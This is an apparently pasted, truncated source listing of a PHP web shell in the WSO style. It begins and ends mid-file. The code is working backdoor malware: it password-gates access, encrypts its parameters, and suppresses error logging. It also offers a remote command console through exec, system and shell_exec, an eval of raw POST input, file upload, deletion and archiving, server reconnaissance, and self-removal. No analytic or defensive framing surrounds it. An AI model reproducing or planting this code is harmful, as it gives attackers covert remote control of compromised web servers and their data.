· 10 years ago · Sep 18, 2016, 04:36 PM
1};
2$auth_pass = "2e3e23a3f309cb1491610741490d5ada";
3$color = "#ddff55";
4$default_use_ajax = false;
5$default_charset = 'utf-8';
6$default_action = 'Console';
7$default_key = md5($_SERVER['HTTP_USER_AGENT']);
8
9@ini_set('error_log', NULL);
10@ini_set('log_errors', 0);
11@ini_set('max_execution_time', 0);
12@set_time_limit(0);
13@set_magic_quotes_runtime(0);
14
15$safe_mode = @ini_get('safe_mode');
16if(!$safe_mode)
17 error_reporting(0);
18
19if(get_magic_quotes_gpc()) {
20 function wsoStripslashes($array) {
21 return is_array($array) ? array_map('wsoStripslashes', $array) : stripslashes($array);
22 }
23 $_POST = wsoStripslashes($_POST);
24 $_COOKIE = wsoStripslashes($_COOKIE);
25}
26
27if(!empty($auth_pass)) {
28 if(isset($_POST['pwd']) && (md5($_POST['pwd']) == $auth_pass))
29 wsoSetCookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
30
31 if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
32 wsoLogin();
33}
34
35if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])."key"])) {
36 wsoSetCookie(md5($_SERVER['HTTP_HOST'])."key", $default_key);
37}
38
39if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) {
40 $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
41}
42
43if(empty($_POST['charset']))
44 $_POST['charset'] = $default_charset;
45
46if (!isset($_POST['ne'])) {
47 if(isset($_POST['a'])) $_POST['a'] = iconv("utf-8", $_POST['charset'], wsoDecrypt($_POST['a'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
48 if(isset($_POST['c'])) $_POST['c'] = iconv("utf-8", $_POST['charset'], wsoDecrypt($_POST['c'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
49 if(isset($_POST['p1'])) $_POST['p1'] = iconv("utf-8", $_POST['charset'], wsoDecrypt($_POST['p1'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
50 if(isset($_POST['p2'])) $_POST['p2'] = iconv("utf-8", $_POST['charset'], wsoDecrypt($_POST['p2'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
51 if(isset($_POST['p3'])) $_POST['p3'] = iconv("utf-8", $_POST['charset'], wsoDecrypt($_POST['p3'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
52}
53
54if(strtolower(substr(PHP_OS,0,3)) == "win")
55 $os = 'win';
56else
57 $os = 'nix';
58
59$disable_functions = @ini_get('disable_functions');
60$home_cwd = @getcwd();
61if(isset($_POST['c']))
62 @chdir($_POST['c']);
63$cwd = @getcwd();
64if($os == 'win') {
65 $home_cwd = str_replace("\\", "/", $home_cwd);
66 $cwd = str_replace("\\", "/", $cwd);
67}
68if($cwd[strlen($cwd)-1] != '/')
69 $cwd .= '/';
70
71if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
72 function posix_getpwuid($p) {return false;} }
73if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
74 function posix_getgrgid($p) {return false;} }
75
76/*
77 * Functions
78 */
79function wsoLogin() {
80 die();
81}
82
83function wsoSetCookie($k, $v) {
84 $_COOKIE[$k] = $v;
85 setcookie($k, $v);
86}
87
88function wsoDecrypt($str, $pwd) {
89 $pwd = base64_encode($pwd);
90 $str = base64_decode($str);
91 $enc_chr = "";
92 $enc_str = "";
93 $i = 0;
94 while($i < strlen($str)) {
95 for($j = 0; $j < strlen($pwd); $j++){
96 $enc_chr = chr(ord($str[$i]) ^ ord($pwd[$j]));
97 $enc_str.= $enc_chr;
98 $i++;
99 if($i>=strlen($str))
100 break;
101 }
102 }
103 return base64_decode($enc_str);
104}
105
106function wsoEx($in) {
107 $out = '';
108 if (function_exists('exec')) {
109 @exec($in,$out);
110 $out = @join("\n",$out);
111 } elseif (function_exists('passthru')) {
112 ob_start();
113 @passthru($in);
114 $out = ob_get_clean();
115 } elseif (function_exists('system')) {
116 ob_start();
117 @system($in);
118 $out = ob_get_clean();
119 } elseif (function_exists('shell_exec')) {
120 $out = shell_exec($in);
121 } elseif (is_resource($f = @popen($in,"r"))) {
122 $out = "";
123 while(!@feof($f))
124 $out .= fread($f,1024);
125 pclose($f);
126 }
127 return $out;
128}
129
130function wsoViewSize($s) {
131 if($s >= 1073741824)
132 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
133 elseif($s >= 1048576)
134 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
135 elseif($s >= 1024)
136 return sprintf('%1.2f', $s / 1024 ) . ' KB';
137 else
138 return $s . ' B';
139}
140
141function wsoPerms($p) {
142 if (($p & 0xC000) == 0xC000)$i = 's';
143 elseif (($p & 0xA000) == 0xA000)$i = 'l';
144 elseif (($p & 0x8000) == 0x8000)$i = '-';
145 elseif (($p & 0x6000) == 0x6000)$i = 'b';
146 elseif (($p & 0x4000) == 0x4000)$i = 'd';
147 elseif (($p & 0x2000) == 0x2000)$i = 'c';
148 elseif (($p & 0x1000) == 0x1000)$i = 'p';
149 else $i = 'u';
150 $i .= (($p & 0x0100) ? 'r' : '-');
151 $i .= (($p & 0x0080) ? 'w' : '-');
152 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
153 $i .= (($p & 0x0020) ? 'r' : '-');
154 $i .= (($p & 0x0010) ? 'w' : '-');
155 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
156 $i .= (($p & 0x0004) ? 'r' : '-');
157 $i .= (($p & 0x0002) ? 'w' : '-');
158 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
159 return $i;
160}
161
162function wsoPermsColor($f) {
163 if (!@is_readable($f))
164 return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
165 elseif (!@is_writable($f))
166 return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
167 else
168 return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
169}
170
171function wsoScandir($dir) {
172 if(function_exists("scandir")) {
173 return scandir($dir);
174 } else {
175 $dh = opendir($dir);
176 while (false !== ($filename = readdir($dh)))
177 $files[] = $filename;
178 return $files;
179 }
180}
181
182function wsoHeader() {
183 if(empty($_POST['charset']))
184 $_POST['charset'] = $GLOBALS['default_charset'];
185 global $color;
186 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . "</title>
187<style>
188body{background-color:#444;color:#e1e1e1;}
189body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
190table.info{ color:#fff;background-color:#222; }
191span,h1,a{ color: $color !important; }
192span{ font-weight: bolder; }
193h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
194div.content{ padding: 5px;margin-left:5px;background-color:#333; }
195a{ text-decoration:none; }
196a:hover{ text-decoration:underline; }
197.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
198.bigarea{ width:100%;height:300px; }
199input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
200form{ margin:0px; }
201#toolsTbl{ text-align:center; }
202.toolsInp{ width: 300px }
203.main th{text-align:left;background-color:#5e5e5e;}
204.main tr:hover{background-color:#5e5e5e}
205.l1{background-color:#444}
206.l2{background-color:#333}
207pre{font-family:Courier,Monospace;}
208</style>
209<script>
210 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
211 var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
212 var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
213 var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
214 var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
215 var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
216 var d = document;
217
218 function encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}
219 function utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}
220 function base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}
221 function set(a,c,p1,p2,p3,charset) {
222 if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
223 if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
224 if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
225 if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
226 if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
227 d.mf.a.value = encrypt(d.mf.a.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
228 d.mf.c.value = encrypt(d.mf.c.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
229 d.mf.p1.value = encrypt(d.mf.p1.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
230 d.mf.p2.value = encrypt(d.mf.p2.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
231 d.mf.p3.value = encrypt(d.mf.p3.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
232 if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
233 }
234 function g(a,c,p1,p2,p3,charset) {
235 set(a,c,p1,p2,p3,charset);
236 d.mf.submit();
237 }
238 function a(a,c,p1,p2,p3,charset) {
239 set(a,c,p1,p2,p3,charset);
240 var params = 'ajax=true';
241 for(i=0;i<d.mf.elements.length;i++)
242 params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
243 sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
244 }
245 function sr(url, params) {
246 if (window.XMLHttpRequest)
247 req = new XMLHttpRequest();
248 else if (window.ActiveXObject)
249 req = new ActiveXObject('Microsoft.XMLHTTP');
250 if (req) {
251 req.onreadystatechange = processReqChange;
252 req.open('POST', url, true);
253 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
254 req.send(params);
255 }
256 }
257 function processReqChange() {
258 if( (req.readyState == 4) )
259 if(req.status == 200) {
260 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
261 var arr=reg.exec(req.responseText);
262 eval(arr[2].substr(0, arr[1]));
263 } else alert('Request error!');
264 }
265</script>
266<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
267<form method=post name=mf style='display:none;'>
268<input type=hidden name=a>
269<input type=hidden name=c>
270<input type=hidden name=p1>
271<input type=hidden name=p2>
272<input type=hidden name=p3>
273<input type=hidden name=charset>
274</form>";
275 $freeSpace = @diskfreespace($GLOBALS['cwd']);
276 $totalSpace = @disk_total_space($GLOBALS['cwd']);
277 $totalSpace = $totalSpace?$totalSpace:1;
278 $release = @php_uname('r');
279 $kernel = @php_uname('s');
280 if(!function_exists('posix_getegid')) {
281 $user = @get_current_user();
282 $uid = @getmyuid();
283 $gid = @getmygid();
284 $group = "?";
285 } else {
286 $uid = @posix_getpwuid(posix_geteuid());
287 $gid = @posix_getgrgid(posix_getegid());
288 $user = $uid['name'];
289 $uid = $uid['uid'];
290 $group = $gid['name'];
291 $gid = $gid['gid'];
292 }
293
294 $cwd_links = '';
295 $path = explode("/", $GLOBALS['cwd']);
296 $n=count($path);
297 for($i=0; $i<$n-1; $i++) {
298 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
299 for($j=0; $j<=$i; $j++)
300 $cwd_links .= $path[$j].'/';
301 $cwd_links .= "\")'>".$path[$i]."/</a>";
302 }
303
304 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
305 $opt_charsets = '';
306 foreach($charsets as $item)
307 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
308
309 $m = array('Console'=>'Console','FilesMan'=>'FilesMan','Php'=>'Php');;
310 if(!empty($GLOBALS['auth_pass']))
311 $m['Logout'] = 'Logout';
312 $m['Self remove'] = 'SelfRemove';
313 $menu = '';
314 foreach($m as $k => $v)
315 $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
316
317 $drives = "";
318 if($GLOBALS['os'] == 'win') {
319 foreach(range('c','z') as $drive)
320 if(is_dir($drive.':\\'))
321 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
322 }
323 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
324 . '<td><nobr>' . substr(@php_uname(), 0, 120) . '</nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
325 . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
326 . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
327 . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
328}
329
330function wsoFooter() {
331 $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
332 echo "
333</div>
334<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
335 <tr>
336 <td><form onsubmit=\"".( function_exists('actionFilesMan')? "g(null,this.c.value,'');":'' )."return false;\"><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
337 <td><form onsubmit=\"".(function_exists('actionFilesTools')? "g('FilesTools',null,this.f.value);":'' )."return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
338 </tr><tr>
339 <td><form onsubmit=\"".( function_exists('actionFilesMan')? "g('FilesMan',null,'mkdir',this.d.value);":'' )."return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
340 <td><form onsubmit=\"".( function_exists('actionFilesTools')? "g('FilesTools',null,this.f.value,'mkfile');":'' )."return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
341 </tr><tr>
342 <td><form onsubmit=\"".( function_exists('actionConsole')? "g('Console',null,this.c.value);":'' )."return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
343 <td><form method='post' ".( (!function_exists('actionFilesMan'))? " onsubmit=\"return false;\" ":'' )."ENCTYPE='multipart/form-data'>
344 <input type=hidden name=a value='FilesMan'>
345 <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
346 <input type=hidden name=p1 value='uploadFile'>
347 <input type=hidden name=ne value=''>
348 <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
349 <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
350 </tr></table></div></body></html>";
351}
352
353/*
354 * Actions
355 */
356
357function actionRC() {
358 if(!empty($_POST['p1'])) {
359 eval($_POST['p1']);
360 }
361}
362
363function actionLogout() {
364 setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
365 die('bye!');
366}
367
368function actionSelfRemove() {
369 if($_POST['p1'] == 'yes')
370 if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
371 die('Shell has been removed');
372 else
373 echo 'unlink error!';
374 if($_POST['p1'] != 'yes')
375 wsoHeader();
376 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
377 wsoFooter();
378}
379
380function actionConsole() {
381 if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
382 wsoSetCookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
383 $_POST['p1'] .= ' 2>&1';
384 } elseif(!empty($_POST['p1']))
385 wsoSetCookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
386
387 if(isset($_POST['ajax'])) {
388 wsoSetCookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
389 ob_start();
390 echo "d.cf.cmd.value='';\n";
391 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
392 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
393 if(@chdir($match[1])) {
394 $GLOBALS['cwd'] = @getcwd();
395 echo "c_='".$GLOBALS['cwd']."';";
396 }
397 }
398 echo "d.cf.output.value+='".$temp."';";
399 echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
400 $temp = ob_get_clean();
401 echo strlen($temp), "\n", $temp;
402 exit;
403 }
404 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
405 wsoSetCookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
406 wsoHeader();
407 echo "<script>
408if(window.Event) window.captureEvents(Event.KEYDOWN);
409var cmds = new Array('');
410var cur = 0;
411function kp(e) {
412 var n = (window.Event) ? e.which : e.keyCode;
413 if(n == 38) {
414 cur--;
415 if(cur>=0)
416 document.cf.cmd.value = cmds[cur];
417 else
418 cur++;
419 } else if(n == 40) {
420 cur++;
421 if(cur < cmds.length)
422 document.cf.cmd.value = cmds[cur];
423 else
424 cur--;
425 }
426}
427function add(cmd) {
428 cmds.pop();
429 cmds.push(cmd);
430 cmds.push('');
431 cur = cmds.length-1;
432}
433</script>";
434 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
435
436 echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
437 if(!empty($_POST['p1'])) {
438 echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
439 }
440 echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
441 echo '</form></div><script>d.cf.cmd.focus();</script>';
442 wsoFooter();
443}
444
445function actionFilesMan() {
446 if (!empty ($_COOKIE['f']))
447 $_COOKIE['f'] = @unserialize($_COOKIE['f']);
448
449 if(!empty($_POST['p1'])) {
450 switch($_POST['p1']) {
451 case 'uploadFile':
452 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
453 echo "Can't upload file!";
454 break;
455 case 'mkdir':
456 if(!@mkdir($_POST['p2']))
457 echo "Can't create new dir";
458 break;
459 case 'delete':
460 function deleteDir($path) {
461 $path = (substr($path,-1)=='/') ? $path:$path.'/';
462 $dh = opendir($path);
463 while ( ($item = readdir($dh) ) !== false) {
464 $item = $path.$item;
465 if ( (basename($item) == "..") || (basename($item) == ".") )
466 continue;
467 $type = filetype($item);
468 if ($type == "dir")
469 deleteDir($item);
470 else
471 @unlink($item);
472 }
473 closedir($dh);
474 @rmdir($path);
475 }
476 if(is_array(@$_POST['f']))
477 foreach($_POST['f'] as $f) {
478 if($f == '..')
479 continue;
480 $f = urldecode($f);
481 if(is_dir($f))
482 deleteDir($f);
483 else
484 @unlink($f);
485 }
486 break;
487 case 'paste':
488 if($_COOKIE['act'] == 'copy') {
489 function copy_paste($c,$s,$d){
490 if(is_dir($c.$s)){
491 mkdir($d.$s);
492 $h = @opendir($c.$s);
493 while (($f = @readdir($h)) !== false)
494 if (($f != ".") and ($f != ".."))
495 copy_paste($c.$s.'/',$f, $d.$s.'/');
496 } elseif(is_file($c.$s))
497 @copy($c.$s, $d.$s);
498 }
499 foreach($_COOKIE['f'] as $f)
500 copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
501 } elseif($_COOKIE['act'] == 'move') {
502 function move_paste($c,$s,$d){
503 if(is_dir($c.$s)){
504 mkdir($d.$s);
505 $h = @opendir($c.$s);
506 while (($f = @readdir($h)) !== false)
507 if (($f != ".") and ($f != ".."))
508 copy_paste($c.$s.'/',$f, $d.$s.'/');
509 } elseif(@is_file($c.$s))
510 @copy($c.$s, $d.$s);
511 }
512 foreach($_COOKIE['f'] as $f)
513 @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
514 } elseif($_COOKIE['act'] == 'zip') {
515 if(class_exists('ZipArchive')) {
516 $zip = new ZipArchive();
517 if ($zip->open($_POST['p2'], 1)) {
518 chdir($_COOKIE['c']);
519 foreach($_COOKIE['f'] as $f) {
520 if($f == '..')
521 continue;
522 if(@is_file($_COOKIE['c'].$f))
523 $zip->addFile($_COOKIE['c'].$f, $f);
524 elseif(@is_dir($_COOKIE['c'].$f)) {
525 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
526 foreach ($iterator as $key=>$value) {
527 $zip->addFile(realpath($key), $key);
528 }
529 }
530 }
531 chdir($GLOBALS['cwd']);
532 $zip->close();
533 }
534 }
535 } elseif($_COOKIE['act'] == 'unzip') {
536 if(class_exists('ZipArchive')) {
537 $zip = new ZipArchive();
538 foreach($_COOKIE['f'] as $f) {
539 if($zip->open($_COOKIE['c'].$f)) {
540 $zip->extractTo($GLOBALS['cwd']);
541 $zip->close();
542 }
543 }
544 }
545 } elseif($_COOKIE['act'] == 'tar') {
546 chdir($_COOKIE['c']);
547 $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
548 wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
549 chdir($GLOBALS['cwd']);
550 }
551 unset($_COOKIE['f']);
552 setcookie('f', '', time() - 3600);
553 break;
554 default:
555 if(!empty($_POST['p1'])) {
556 wsoSetCookie('act', $_POST['p1']);
557 wsoSetCookie('f', serialize(@$_POST['f']));
558 wsoSetCookie('c', @$_POST['c']);
559 }
560 break;
561 }
562 }
563 wsoHeader();
564 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
565 $dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
566 if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
567 global $sort;
568 $sort = array('name', 1);
569 if(!empty($_POST['p1'])) {
570 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
571 $sort = array($match[1], (int)$match[2]);
572 }
573echo "<script>
574 function sa() {
575 for(i=0;i<d.files.elements.length;i++)
576 if(d.files.elements[i].type == 'checkbox')
577 d.files.elements[i].checked = d.files.elements[0].checked;
578 }
579</script>
580<table width='100%' class='main' cellspacing='0' cellpadding='2'>
581<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
582 $dirs = $files = array();
583 $n = count($dirContent);
584 for($i=0;$i<$n;$i++) {
585 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
586 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
587 $tmp = array('name' => $dirContent[$i],
588 'path' => $GLOBALS['cwd'].$dirContent[$i],
589 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
590 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
591 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
592 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
593 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
594 );
595 if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
596 $files[] = array_merge($tmp, array('type' => 'file'));
597 elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
598 $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
599 elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
600 $dirs[] = array_merge($tmp, array('type' => 'dir'));
601 }
602 $GLOBALS['sort'] = $sort;
603 function wsoCmp($a, $b) {
604 if($GLOBALS['sort'][0] != 'size')
605 return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
606 else
607 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
608 }
609 usort($files, "wsoCmp");
610 usort($dirs, "wsoCmp");
611 $files = array_merge($dirs, $files);
612 $l = 0;
613 foreach($files as $f) {
614 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
